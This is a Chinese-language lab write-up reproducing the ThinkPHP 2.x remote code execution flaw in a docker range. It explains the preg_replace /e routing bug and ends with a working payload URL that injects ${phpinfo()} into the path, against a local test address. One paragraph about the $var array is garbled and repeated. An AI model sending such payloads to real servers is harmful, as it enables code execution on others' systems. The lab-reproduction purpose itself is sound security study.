ThinkPHP2--RCE漏洞复现

一、漏洞简介

影响版本：PHP 5.2~5.6

/e 修 正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示：要确保 replacement 构成一个合法的 PHP 代码字符串，否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错 误。

在ThinkPHP ThinkPHP 2.x版本中，使用preg_replace的/e模式匹配路由：

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

二、漏洞复现

运行此靶场

sudo docker-compose up -d

查看启动环境

sudo docker ps

导致用户的输入参数被插入双引号中执行，造成任意代码执行漏洞。

$a的执行语句执行了（注意如果要实现该代码需要修改php的版本为5.x的版本）

<?php
$a = 'print_r("AAA");';
$b = "aaaac123caaaa";
echo preg_replace("/c(.+?)c/e",$a,$b);

由此可见，preg_replace()函数在匹配时，会自动执行replacement。

再回来看ThinkPHP2漏洞的出现点：

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

一个路由匹配规则

()值提取匹配的字符串，有几个括号就代表有几个匹配的字符串，看结果我们就知道，我们的目的是将键和值分别提取出来，所有有两个()，一个匹配键，一个匹配值

️⃣代码可执行的位置只能为值，而非键

数组v a r 在路径存在模块和动作时， ‘ 会去除掉前 2 个值 ‘ : t h r e e : 而数组 var在路径存在模块和动作时，`会去除掉前2个值` :three:而数组var在路径存在模块和动作时，‘会去除掉前2个值‘:three:而数组var来自于$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));

$var['\1']="\2" 这里双引号引发函数执行，了解为什么${}会执行，在PHP当中，${}是可以构造一个变量的，{}写的是一般的字符，那么就会被当成变量，比如${a}等价于$a，那如果{}写的是一个已知函数名称呢？那么这个函数就会被执行

thinkphp路由的格式是分组/模块/操作名/参数

/index.php?s=a/a/a/${phpinfo()} 其中a随意

http://192.168.83.136:8080/index.php?s=a/a/a/${phpinfo()}

sudo docker-compose down